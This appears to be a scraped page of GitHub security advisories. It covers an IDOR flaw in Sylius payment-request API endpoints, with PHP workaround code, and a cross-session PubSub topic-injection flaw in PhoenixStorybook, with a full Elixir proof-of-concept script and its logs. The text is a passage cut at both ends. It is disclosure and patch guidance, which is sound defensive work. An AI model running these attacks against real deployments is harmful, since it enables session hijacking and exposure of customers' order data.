                    - 'App\Messenger\Middleware\PaymentRequestOwnershipMiddleware'
                    - 'validation'
                    - 'doctrine_transaction'

Step 6. Clear the cache

bin/console cache:clear

Reporters

We would like to extend our gratitude to the following individuals for their detailed reporting and responsible disclosure of this vulnerability: - Fase Rais Baradika (@baradika) - Anshu Chimala (@achimala)

For more information

If you have any questions or comments about this advisory:

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T21:03:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe `GET /api/v2/shop/payment-requests/{hash}` and `PUT /api/v2/shop/payment-requests/{hash}` endpoints look up the payment request solely by the hash from the URL. No ownership check is performed against the authenticated customer or the underlying order.\n\nAn attacker who obtains a payment request hash can:\n\n- read the payment request and, through the `payment` IRI in the response, recover the underlying order\u0027s `tokenValue` (which itself grants access to the full order, items, addresses, customer email, totals);\n- update the payment request payload (e.g. `target_path`, `after_path`). These fields are used by the front-end controller to redirect the user after the payment, so an attacker can flip them to an attacker-controlled URL and intercept the buyer.\n\nThe hash is a UUID, so it has to be obtained out-of-band (logs, shared links, referrer headers, a co-located client), but once it is known no other credential is required, neither authentication nor knowledge of the order token.\n\nThe creation endpoint `POST /api/v2/shop/orders/{tokenValue}/payment-requests` shares the same flaw: it resolves the target order solely from the `tokenValue` in the URL without verifying that the caller owns the order.\n\n### Patches\nThe issue is fixed in versions: 2.0.18, 2.1.15, 2.2.6.\n\n### Workarounds\nUntil you can upgrade, apply the following workaround. It enforces ownership on the existing endpoints, so that:\n\n- an authenticated shop user may only access payment requests of their own orders;\n- an anonymous caller may only access payment requests of guest orders (the order\u0027s customer has no associated user account);\n- everyone else receives `404 Not Found`.\n\n#### Step 1. Add a query extension that filters the `GET` operation\n\nCreate file `src/ApiPlatform/QueryExtension/PaymentRequestOwnershipExtension.php`:\n\n```php\n\u003c?php\n\ndeclare(strict_types=1);\n\nnamespace App\\ApiPlatform\\QueryExtension;\n\nuse ApiPlatform\\Doctrine\\Orm\\Extension\\QueryItemExtensionInterface;\nuse ApiPlatform\\Doctrine\\Orm\\Util\\QueryNameGeneratorInterface;\nuse ApiPlatform\\Metadata\\Operation;\nuse Doctrine\\ORM\\QueryBuilder;\nuse Sylius\\Bundle\\ApiBundle\\Context\\UserContextInterface;\nuse Sylius\\Bundle\\ApiBundle\\SectionResolver\\ShopApiSection;\nuse Sylius\\Bundle\\CoreBundle\\SectionResolver\\SectionProviderInterface;\nuse Sylius\\Component\\Core\\Model\\ShopUserInterface;\nuse Sylius\\Component\\Payment\\Model\\PaymentRequestInterface;\n\nfinal readonly class PaymentRequestOwnershipExtension implements QueryItemExtensionInterface\n{\n    public function __construct(\n        private SectionProviderInterface $sectionProvider,\n        private UserContextInterface $userContext,\n    ) {\n    }\n\n    public function applyToItem(\n        QueryBuilder $queryBuilder,\n        QueryNameGeneratorInterface $queryNameGenerator,\n        string $resourceClass,\n        array $identifiers,\n        ?Operation $operation = null,\n        array $context = [],\n    ): void {\n        if (!is_a($resourceClass, PaymentRequestInterface::class, true)) {\n            return;\n        }\n\n        if (!$this-\u003esectionProvider-\u003egetSection() instanceof ShopApiSection) {\n            return;\n        }\n\n        $rootAlias = $queryBuilder-\u003egetRootAliases()[0];\n        $paymentJoin = $queryNameGenerator-\u003egenerateJoinAlias(\u0027payment\u0027);\n        $orderJoin = $queryNameGenerator-\u003egenerateJoinAlias(\u0027order\u0027);\n        $customerJoin = $queryNameGenerator-\u003egenerateJoinAlias(\u0027customer\u0027);\n        $userJoin = $queryNameGenerator-\u003egenerateJoinAlias(\u0027user\u0027);\n        $createdByGuestParameterName = $queryNameGenerator-\u003egenerateParameterName(\u0027createdByGuest\u0027);\n\n        $queryBuilder\n            -\u003einnerJoin(sprintf(\u0027%s.payment\u0027, $rootAlias), $paymentJoin)\n            -\u003einnerJoin(sprintf(\u0027%s.order\u0027, $paymentJoin), $orderJoin)\n            -\u003eleftJoin(sprintf(\u0027%s.customer\u0027, $orderJoin), $customerJoin)\n            -\u003eleftJoin(sprintf(\u0027%s.user\u0027, $customerJoin), $userJoin)\n        ;\n\n        $user = $this-\u003euserContext-\u003egetUser();\n\n        if ($user instanceof ShopUserInterface) {\n            $customerParam = $queryNameGenerator-\u003egenerateParameterName(\u0027customer\u0027);\n\n            $queryBuilder\n                -\u003eandWhere($queryBuilder-\u003eexpr()-\u003eeq(sprintf(\u0027%s.customer\u0027, $orderJoin), sprintf(\u0027:%s\u0027, $customerParam)))\n                -\u003esetParameter($customerParam, $user-\u003egetCustomer())\n            ;\n\n            return;\n        }\n\n        $queryBuilder\n            -\u003eandWhere(\n                $queryBuilder-\u003eexpr()-\u003eorX(\n                    $queryBuilder-\u003eexpr()-\u003eisNull($userJoin),\n                    $queryBuilder-\u003eexpr()-\u003eisNull(sprintf(\u0027%s.customer\u0027, $orderJoin)),\n                    $queryBuilder-\u003eexpr()-\u003eandX(\n                        $queryBuilder-\u003eexpr()-\u003eisNotNull($userJoin),\n                        $queryBuilder-\u003eexpr()-\u003eeq(sprintf(\u0027%s.createdByGuest\u0027, $orderJoin), sprintf(\u0027:%s\u0027, $createdByGuestParameterName)),\n                    ),\n                ),\n            )\n            -\u003esetParameter($createdByGuestParameterName, true)\n        ;\n    }\n}\n```\n\n#### Step 2. Decorate the `PUT` state provider\n\nCreate file `src/ApiPlatform/StateProvider/PaymentRequestOwnershipProvider.php`:\n\n```php\n\u003c?php\n\ndeclare(strict_types=1);\n\nnamespace App\\ApiPlatform\\StateProvider;\n\nuse ApiPlatform\\Metadata\\Operation;\nuse ApiPlatform\\State\\ProviderInterface;\nuse Sylius\\Bundle\\ApiBundle\\Context\\UserContextInterface;\nuse Sylius\\Component\\Core\\Model\\CustomerInterface;\nuse Sylius\\Component\\Core\\Model\\OrderInterface;\nuse Sylius\\Component\\Core\\Model\\PaymentInterface;\nuse Sylius\\Component\\Core\\Model\\ShopUserInterface;\nuse Sylius\\Component\\Payment\\Model\\PaymentRequestInterface;\n\n/** @implements ProviderInterface\u003cPaymentRequestInterface\u003e */\nfinal readonly class PaymentRequestOwnershipProvider implements ProviderInterface\n{\n    /** @param ProviderInterface\u003cPaymentRequestInterface\u003e $inner */\n    public function __construct(\n        private ProviderInterface $inner,\n        private UserContextInterface $userContext,\n    ) {\n    }\n\n    public function provide(Operation $operation, array $uriVariables = [], array $context = []): array|object|null\n    {\n        $paymentRequest = $this-\u003einner-\u003eprovide($operation, $uriVariables, $context);\n        if (!$paymentRequest instanceof PaymentRequestInterface) {\n            return $paymentRequest;\n        }\n\n        if (!$this-\u003eisAccessible($paymentRequest)) {\n            return null;\n        }\n\n        return $paymentRequest;\n    }\n\n    private function isAccessible(PaymentRequestInterface $paymentRequest): bool\n    {\n        $payment = $paymentRequest-\u003egetPayment();\n        if (!$payment instanceof PaymentInterface) {\n            return false;\n        }\n\n        $order = $payment-\u003egetOrder();\n        if (!$order instanceof OrderInterface) {\n            return false;\n        }\n\n        $user = $this-\u003euserContext-\u003egetUser();\n\n        if ($user instanceof ShopUserInterface) {\n            $customer = $user-\u003egetCustomer();\n\n            return $customer instanceof CustomerInterface \u0026\u0026 $order-\u003egetCustomer() === $customer;\n        }\n\n        $customer = $order-\u003egetCustomer();\n\n        return null === $customer\n               || null === $customer-\u003egetUser()\n               || $order-\u003eisCreatedByGuest();\n    }\n}\n```\n\n#### Step 3. Guard the `POST` creation endpoint with a command-bus middleware\n\nThe `POST /api/v2/shop/orders/{tokenValue}/payment-requests` operation is a `messenger: input` operation: it dispatches a `Sylius\\Bundle\\ApiBundle\\Command\\Payment\\AddPaymentRequest` command whose `orderTokenValue` comes straight from the URL, so no query extension or state provider runs. Add a middleware on the Sylius command bus that loads the order, applies the same ownership rule, and aborts with `404` before the handler runs.\n\nCreate file `src/Messenger/Middleware/PaymentRequestOwnershipMiddleware.php`:\n\n```php\n\u003c?php\n\ndeclare(strict_types=1);\n\nnamespace App\\Messenger\\Middleware;\n\nuse Sylius\\Bundle\\ApiBundle\\Command\\Payment\\AddPaymentRequest;\nuse Sylius\\Bundle\\ApiBundle\\Context\\UserContextInterface;\nuse Sylius\\Component\\Core\\Model\\CustomerInterface;\nuse Sylius\\Component\\Core\\Model\\OrderInterface;\nuse Sylius\\Component\\Core\\Model\\ShopUserInterface;\nuse Sylius\\Component\\Core\\Repository\\OrderRepositoryInterface;\nuse Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException;\nuse Symfony\\Component\\Messenger\\Envelope;\nuse Symfony\\Component\\Messenger\\Middleware\\MiddlewareInterface;\nuse Symfony\\Component\\Messenger\\Middleware\\StackInterface;\n\nfinal readonly class PaymentRequestOwnershipMiddleware implements MiddlewareInterface\n{\n    /** @param OrderRepositoryInterface\u003cOrderInterface\u003e $orderRepository */\n    public function __construct(\n        private OrderRepositoryInterface $orderRepository,\n        private UserContextInterface $userContext,\n    ) {\n    }\n\n    public function handle(Envelope $envelope, StackInterface $stack): Envelope\n    {\n        $command = $envelope-\u003egetMessage();\n\n        if ($command instanceof AddPaymentRequest \u0026\u0026 !$this-\u003eisOrderAccessible($command-\u003eorderTokenValue)) {\n            throw new NotFoundHttpException(\u0027Not Found\u0027);\n        }\n\n        return $stack-\u003enext()-\u003ehandle($envelope, $stack);\n    }\n\n    private function isOrderAccessible(string $orderTokenValue): bool\n    {\n        /** @var OrderInterface|null $order */\n        $order = $this-\u003eorderRepository-\u003efindOneByTokenValue($orderTokenValue);\n        if (null === $order) {\n            // Unknown token \u2014 let the handler return its own 404 (PaymentNotFoundException).\n            return true;\n        }\n\n        $user = $this-\u003euserContext-\u003egetUser();\n\n        if ($user instanceof ShopUserInterface) {\n            $customer = $user-\u003egetCustomer();\n\n            return $customer instanceof CustomerInterface \u0026\u0026 $order-\u003egetCustomer() === $customer;\n        }\n\n        $customer = $order-\u003egetCustomer();\n\n        return null === $customer\n            || null === $customer-\u003egetUser()\n            || $order-\u003eisCreatedByGuest();\n    }\n}\n```\n\n#### Step 4. Wire the services\n\nAppend to `config/services.yaml`:\n\n```yaml\nservices:\n    App\\ApiPlatform\\QueryExtension\\PaymentRequestOwnershipExtension:\n        arguments:\n            - \u0027@sylius.section_resolver.uri_based\u0027\n            - \u0027@sylius_api.context.user.token_based\u0027\n        tags:\n            - { name: api_platform.doctrine.orm.query_extension.item }\n\n    App\\ApiPlatform\\StateProvider\\PaymentRequestOwnershipProvider:\n        decorates: sylius_api.state_provider.shop.payment.payment_request.item\n        arguments:\n            $inner: \u0027@.inner\u0027\n            $userContext: \u0027@sylius_api.context.user.token_based\u0027\n\n    App\\Messenger\\Middleware\\PaymentRequestOwnershipMiddleware:\n        arguments:\n            - \u0027@sylius.repository.order\u0027\n            - \u0027@sylius_api.context.user.token_based\u0027\n```\n\nWith the default Sylius-Standard `services.yaml` (`autowire: true`, `autoconfigure: true`) the two classes are already autoloaded, the block above only adds the tag and the decoration, which cannot be derived from the constructor signatures.\n\n#### Step 5. Register the middleware on the Sylius command bus\n\nAdd to `config/packages/messenger.yaml`:\n\n```yaml\nframework:\n    messenger:\n        buses:\n            sylius.command_bus:\n                middleware:\n                    - \u0027App\\Messenger\\Middleware\\PaymentRequestOwnershipMiddleware\u0027\n                    - \u0027validation\u0027\n                    - \u0027doctrine_transaction\u0027\n```\n\n#### Step 6. Clear the cache\n\n```bash\nbin/console cache:clear\n```\n\n### Reporters\n\nWe would like to extend our gratitude to the following individuals for their detailed reporting and responsible disclosure of this vulnerability:\n- Fase Rais Baradika (@baradika)\n- Anshu Chimala (@achimala)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [Sylius issues](https://github.com/Sylius/Sylius/issues?q=sort%3Aupdated-desc+is%3Aissue+is%3Aopen)\n- Email us at [security@sylius.com](mailto:security@sylius.com)",
  "id": "GHSA-mr9r-h354-966r",
  "modified": "2026-07-09T21:03:51Z",
  "published": "2026-07-09T21:03:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Sylius/Sylius/security/advisories/GHSA-mr9r-h354-966r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Sylius/Sylius"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sylius: IDOR on Shop Payment Request API endpoints"
}

GHSA-MRHX-6PW9-Q5FH

Vulnerability from github – Published: 2026-06-09 21:59 – Updated: 2026-06-09 21:59
VLAI
Summary
PhoenixStorybook has cross-session PubSub topic injection via URL parameter
Details

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "phoenix_storybook"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-09T21:59:25Z",
    "nvd_published_at": "2026-05-20T14:17:01Z",
    "severity": "LOW"
  },
  "details": "### Summary\nThe storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user\u0027s playground topic can hijack the playground\u2194iframe handshake, causing the victim\u0027s playground to send its control messages to an attacker-controlled iframe process \u2014 a cross-session information leak.\n\nLikely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7\n\n### Details\n`PhoenixStorybook.Story.ComponentIframeLive.handle_params/3` (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from `params[\"topic\"]` and broadcasts on it:\n\n```elixir\nif topic = params[\"topic\"] do\n  Phoenix.PubSub.broadcast!(\n    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}\n  )\nend\n```\n\nThe shared `PhoenixStorybook.PubSub` is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe\u0027s pid from the `{:component_iframe_pid, _}` message, and then uses `send/2` to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.\n\nBecause the iframe trusts the query parameter, an attacker who loads `/storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e` in their own browser causes their iframe process\u0027s pid to be announced on the victim\u0027s private topic. The victim\u0027s playground then addresses its private messages to the attacker\u0027s iframe, where they arrive in `handle_info/2`. There is no authentication, ownership check, or binding between the topic and the requesting session.\n\nThe fix is to stop accepting the topic from the query string \u2014 derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.\n\n### PoC\nThe attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library\u0027s own router via `live_storybook(\"/storybook\", backend_module: MyStorybook)`. The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP `GET /storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e`, which mounts `ComponentIframeLive` and triggers the vulnerable `handle_params/3` call site shown above.\n\nTo simulate a legitimate playground, the script spawns a \"victim\" process that calls `Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)` with a freshly generated secret topic. The attacker session \u2014 completely separate, with no shared cookies or auth \u2014 then issues a single `Req.get!` to the iframe URL with `?topic=\u003cvictim_topic\u003e` URL-encoded onto the query string. Inside the iframe LiveView, `params[\"topic\"]` is the attacker-supplied value, and `Phoenix.PubSub.broadcast!/3` delivers `{:component_iframe_pid, self()}` to the victim\u0027s subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim\u0027s topic.\n\nThe victim process pattern-matches on `{:component_iframe_pid, attacker_iframe_pid}` and forwards it to the test harness. The script prints `VERIFIED: attacker-controlled \"?topic=\" query param caused PubSub broadcast onto victim\u0027s private topic` along with the leaked pid when the cross-session message arrives, and `NOT VERIFIED` if nothing arrives within the timeout. The full script is attached below under \"Scripts and Logs\".\n\n### Impact\nCross-session information disclosure and message injection in any application that exposes `phoenix_storybook` over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground\u0027s topic can redirect the playground\u0027s private control messages \u2014 variation state, theme changes, and any developer-wired extra assigns \u2014 to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Cross-session PubSub topic injection via URL parameter\n#\n# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs\n#\n# Threat model: an outside attacker who can browse the storybook iframe URL.\n# They open `/storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e` in their own\n# browser. The iframe LiveView\u0027s handle_params broadcasts\n# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the\n# query string. A victim\u0027s playground that subscribed to `victim_topic`\n# (legitimately, for its own iframe) receives the attacker\u0027s iframe pid and\n# will subsequently address its private control messages to that pid.\n#\n# This PoC stands up a real Phoenix endpoint + the library\u0027s own router, has a\n# \"victim\" process Phoenix.PubSub.subscribe to a secret topic, then makes a\n# plain HTTP GET to the iframe URL with `?topic=\u003csecret\u003e` from an attacker\n# session. If the victim receives the iframe pid, the topic was successfully\n# hijacked.\n\nMix.install([\n  {:phoenix_storybook, \"1.0.0\"},\n  {:phoenix_live_view, \"~\u003e 1.0\"},\n  {:bandit, \"~\u003e 1.5\"},\n  {:req, \"~\u003e 0.5\"},\n  {:jason, \"~\u003e 1.4\"}\n])\n\n# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----\ntmp = Path.join(System.tmp_dir!(), \"psb_poc_#{System.unique_integer([:positive])}\")\nFile.mkdir_p!(tmp)\n\nFile.write!(Path.join(tmp, \"demo.story.exs\"), \"\"\"\ndefmodule Storybook.Demo do\n  use PhoenixStorybook.Story, :component\n  def function, do: \u0026Phoenix.Component.link/1\n  def variations do\n    [%Variation{id: :default, attributes: %{navigate: \"/x\"}, slots: [\"hi\"]}]\n  end\nend\n\"\"\")\n\n# ----- 2. Storybook backend + Phoenix endpoint/router. -----\nexpanded_content_path = Path.expand(tmp)\n\nModule.create(\n  MyStorybook,\n  quote do\n    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)\n  end,\n  Macro.Env.location(__ENV__)\n)\n\ndefmodule MyRouter do\n  use Phoenix.Router\n  import Phoenix.LiveView.Router\n  import PhoenixStorybook.Router\n\n  scope \"/\" do\n    live_storybook(\"/storybook\", backend_module: MyStorybook)\n  end\nend\n\npoc_port = Enum.random(20_000..30_000)\n\nApplication.put_env(:psb_poc, MyEndpoint,\n  http: [ip: {127, 0, 0, 1}, port: poc_port],\n  server: true,\n  secret_key_base: String.duplicate(\"a\", 64),\n  live_view: [signing_salt: \"12345678\"],\n  pubsub_server: PhoenixStorybook.PubSub,\n  adapter: Bandit.PhoenixAdapter,\n  check_origin: false\n)\n\ndefmodule MyEndpoint do\n  use Phoenix.Endpoint, otp_app: :psb_poc\n\n  @session_options [\n    store: :cookie,\n    key: \"_psb_poc_key\",\n    signing_salt: \"12345678\",\n    same_site: \"Lax\"\n  ]\n\n  socket \"/live\", Phoenix.LiveView.Socket, websocket: true\n  plug Plug.Session, @session_options\n  plug :fetch_query_params_plug\n  plug MyRouter\n\n  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)\nend\n\n# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----\n{:ok, _} = MyEndpoint.start_link()\n\nbase = \"http://127.0.0.1:#{poc_port}\"\n\n# ----- 4. Victim subscribes to its private playground topic. -----\nvictim_topic = \"playground-secret-#{:erlang.unique_integer([:positive])}\"\nvictim = self()\n\n# A separate process plays the role of the victim\u0027s playground LV. It\n# subscribes to its own topic \u2014 exactly what PlaygroundLive does when the\n# legitimate user opens their playground page.\nvictim_pid =\n  spawn_link(fn -\u003e\n    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)\n    send(victim, :victim_ready)\n\n    receive do\n      {:component_iframe_pid, attacker_iframe_pid} -\u003e\n        send(victim, {:victim_got, attacker_iframe_pid})\n    after\n      5_000 -\u003e send(victim, :victim_timeout)\n    end\n  end)\n\nreceive do\n  :victim_ready -\u003e :ok\nafter\n  2_000 -\u003e raise \"victim subscribe timed out\"\nend\n\n# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL\n#         with ?topic=\u003cvictim\u0027s secret topic\u003e. -----\nattacker_url =\n  base \u003c\u003e\n    \"/storybook/iframe/demo?topic=\" \u003c\u003e URI.encode_www_form(victim_topic)\n\n_resp = 